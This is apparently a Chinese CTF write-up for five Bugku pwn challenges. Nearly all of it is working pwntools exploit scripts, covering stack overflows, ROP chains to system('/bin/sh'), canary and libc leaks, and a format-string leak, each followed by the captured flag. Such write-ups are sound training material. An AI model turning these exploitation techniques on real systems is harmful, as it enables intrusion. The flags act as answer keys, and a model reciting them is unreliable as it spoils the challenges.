Bugku旧平台pwn writeup

原创

a370793934 于 2019-11-28 08:38:33 发布 590 收藏 1
分类专栏： WriteUp 文章标签： Bugku pwn writeup ctf

WriteUp 专栏收录该内容
20 篇文章 2 订阅
订阅专栏

Pwn1

```
nc 114.116.54.89 10001
```

连上cat flag：

flag{6979d853add353c9}

Pwn2

```
#!/usr/bin/env python3

# -*- coding:utf-8 -*-

from pwn import *

context.log_level='debug'

p = process("./pwn2")

#p = remote("114.116.54.89","10003")

get_shell = 0x400751

payload = "a"*0x30+"a"*8 + p64(get_shell)

p.recvuntil("say something?")

#p.recvline()

p.sendline(payload)

p.interactive()
```

```
#!/usr/bin/env python3

# pwn4的做法

# # -*- coding:utf-8 -*-

# from pwn import *
# p = remote("114.116.54.89","10003")
# #p = process("./pwn2")
# system = 0x400570
# pop_rdi_ret = 0x4007e3
# bin_sh = 0x400857

# p.recvuntil('say')
# payload = 'a' * (0x30 + 8)
# payload += p64(pop_rdi_ret)
# payload += p64(bin_sh)
# payload += p64(system)
# p.sendline(payload)
# p.interactive()
```

flag{n0w_y0u_kn0w_the_Stack0verfl0w}

Pwn3

```
#coding:utf-8
# -*- coding: utf-8 -*-
from pwn import *

p = remote("114.116.54.89", 10000)
#p = process("./read_note")
val_add = 0xd2e
pop_rdi_add = 0xe03
puts_plt_add = 0x8b0
puts_got_add = 0x202018
start_add = 0xd20

print p.recvuntil("path:")
p.sendline("flag")
```

```
print p.recvuntil("len:")
p.sendline("1000")
payload = "A" * (0x260-8)+"B"
p.send(payload)
print p.recvuntil("B")
canary = u64(p.recv(7).rjust(8,"\x00"))
print "cancay:", hex(canary)
x = p.recvline()

p.recvuntil("(len is 624)\n")
payload = "A" * (0x260-8)
payload += p64(canary)
payload += p64(0)
payload += "\x20"
p.send(payload)

print p.recvuntil("path:")
p.sendline("flag")
print p.recvuntil("len:")
p.sendline("1000")
payload = "A" * (0x260+7)+"B"
p.send(payload)
print p.recvuntil("B")
x = p.recvline()
val = u64(x[:-1].ljust(8,"\x00"))
print "val:", hex(val)
elf_base = val - val_add
print hex(elf_base)
p.recvuntil("(len is 624)\n")
payload = "A" * (0x260-8)
payload += p64(canary)
payload += p64(0)
payload += "\x20"
p.send(payload)

puts_plt = elf_base + puts_plt_add
puts_got = elf_base + puts_got_add
pop_rdi = elf_base + pop_rdi_add
start = elf_base + start_add

p.recvuntil("path:")
p.sendline("flag")
p.recvuntil("len:")
p.sendline("1000")
payload = "A" * (0x260 + 8*5-1)+"B"
p.send(payload)
p.recvuntil("B")
x = p.recvuntil("please")
print x
start_abs = u64(x[:8].split("\n")[0].ljust(8,"\x00"))
libc_base = start_abs - 0x20830
print hex(start_abs)
p.recvuntil("(len is 624)\n")
payload = "A" * (0x260-8)
payload += p64(canary)
payload += p64(0)
payload += p64(start)
p.send(payload)

bin_add = 0x18cd57
sys_add = 0x45390
```

```
bin_abs = libc_base + bin_add
sys_abs = libc_base + sys_add

p.recvuntil("path:")
p.sendline("flag")
p.recvuntil("len:")
p.sendline("1000")
payload = "A" * (0x260-8)
payload += p64(canary)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(bin_abs)
payload += p64(sys_abs)
payload += p64(start)

p.send(payload)
p.recv()
p.recvuntil("(len is 624)\n")
payload = "A"
p.send(payload)
p.interactive()
```

flag{4278bbab-7780-4d89-8443-612d24aa87c6}

Pwn4

```
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *

p = remote("114.116.54.89" ,10004)
```

```
#p = process("./pwn4")
system = 0x400570
pop_rdi_ret = 0x4007d3
bin_sh = 0x60111F
p.recvuntil('pwn me\n')
payload = 'a' * (0x10 + 8)
payload += p64(pop_rdi_ret)
payload += p64(bin_sh)
payload += p64(system)
p.sendline(payload)
p.interactive()
```

flag{264bc50112318cd6e1a67b0724d6d3af}

pwn5

```
#coding:utf-8
# -*- coding: utf-8 -*-
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

#p = process("./human")
p=remote('114.116.54.89', 10005)

p.recvuntil("人类的本质是什么?\n")
payload1="%11$p"
p.sendline(payload1)
p.recvline()

libc_start_main_addr=p.recvuntil("%11$p")[:-6]
```

```
libc_base=int(libc_start_main_addr,16)-0x20830      #gdb读内存，发现偏移0x20830

sys=libc_base+0x0000000000045390                    #偏移

bin_sh = libc_base+0x18cd57                         #偏移

pop_rdi = 0x400933                                  #ROPgadget找human中的pop rdi ret


p.recvuntil('人类还有什么本质?\n')


payload = 'a鸽子' + 'a'

payload += '真香' + '\x00'

payload = payload.ljust(0x20,'a')

payload += 'bbbbbbbb' + p64(pop_rdi) + p64(bin_sh) + p64(sys)

p.sendline(payload)


p.interactive()
```

flag{as67sdf834ht98e7sdyf9348yf0y}